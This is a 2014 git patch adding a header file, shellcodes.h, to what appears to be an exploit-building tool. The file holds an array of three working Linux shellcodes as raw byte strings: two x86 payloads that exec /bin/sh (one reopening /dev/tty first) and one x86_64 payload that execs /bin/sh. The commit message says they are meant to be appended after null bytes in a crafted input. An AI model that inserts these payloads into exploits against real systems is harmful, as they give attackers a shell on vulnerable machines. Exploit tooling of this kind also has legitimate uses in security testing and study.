From 9756784b22d6be33683b9ecb3040c67685d354f7 Mon Sep 17 00:00:00 2001
From: Olivier Gayot <duskcoder@gmail.com>
Date: Mon, 27 Jan 2014 23:43:25 +0000
Subject: add the option --shellcode

the user is now able to get a list of common shellcodes to append
between the null bytes and the suffix

closes #1
---
 shellcodes.h | 84 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 84 insertions(+)
 create mode 100644 shellcodes.h

(limited to 'shellcodes.h')

diff --git a/shellcodes.h b/shellcodes.h
new file mode 100644
index 0000000..679a0d9
--- /dev/null
+++ b/shellcodes.h
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2014 Olivier Gayot
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#ifndef SHELLCODES_H
+#define SHELLCODES_H
+
+typedef struct {
+    char *name;
+    char *payload;
+} shellcode_t;
+
+shellcode_t common_shellcodes_g[] = {
+    {
+        .name = "Linux x86\n"
+            "\texecve(\"/bin/sh\", 0, 0)",
+        .payload = "\x68\x2f\x73\x68\xff"
+            "\xfe\x44\x24\x03"
+            "\x68\x2f\x62\x69\x6e"
+            "\x31\xc0"
+            "\xb0\x0b"
+            "\x89\xe3"
+            "\x31\xc9"
+            "\x31\xd2"
+            "\xcd\x80"
+    }, {
+        .name = "Linux x86\n"
+            "\tclose(0); open(\"/dev/tty\", 0); execve(\"/bin/sh\", 0, 0)",
+        .payload = "\x83\xec\x09"
+            "\x31\xc0"
+            "\xb0\x06"
+            "\x31\xdb"
+            "\xcd\x80"
+            "\xc7\x04\x24\x2f\x64\x65\x76"
+            "\xc7\x44\x24\x04\x2f\x74\x74\x79"
+            "\xc0\x6c\x24\x08\x08"
+            "\x31\xc0"
+            "\xb0\x05"
+            "\x89\xe3"
+            "\x31\xc9"
+            "\xcd\x80"
+            "\xc7\x04\x24\x2f\x62\x69\x6e"
+            "\xc7\x44\x24\x04\xff\x2f\x73\x68"
+            "\xb0\x0b"
+            "\x89\xe3"
+            "\xc1\x6b\x04\x08"
+            "\x31\xc9"
+            "\x31\xd2"
+            "\xcd\x80"
+    }, {
+        .name = "Linux x86_64\n"
+            "\texecve(\"/bin/sh\", 0, 0)",
+        .payload = "\x68\x2f\x62\x69\x6e"
+            "\xc7\x44\x24\x04\x2f\x73\x68"
+            "\xff"
+            "\xfe\x44\x24\x07"
+            "\x48\x31\xc0"
+            "\xb0\x3b"
+            "\x48\x89\xe7"
+            "\x48\x31\xf6"
+            "\x48\x31\xd2"
+            "\x0f\x05"
+    },
+};
+
+#define SHELLCODE_COUNT \
+    ((int)(sizeof(common_shellcodes_g) / sizeof(common_shellcodes_g[0])))
+
+
+#endif /* SHELLCODES_H */
-- 
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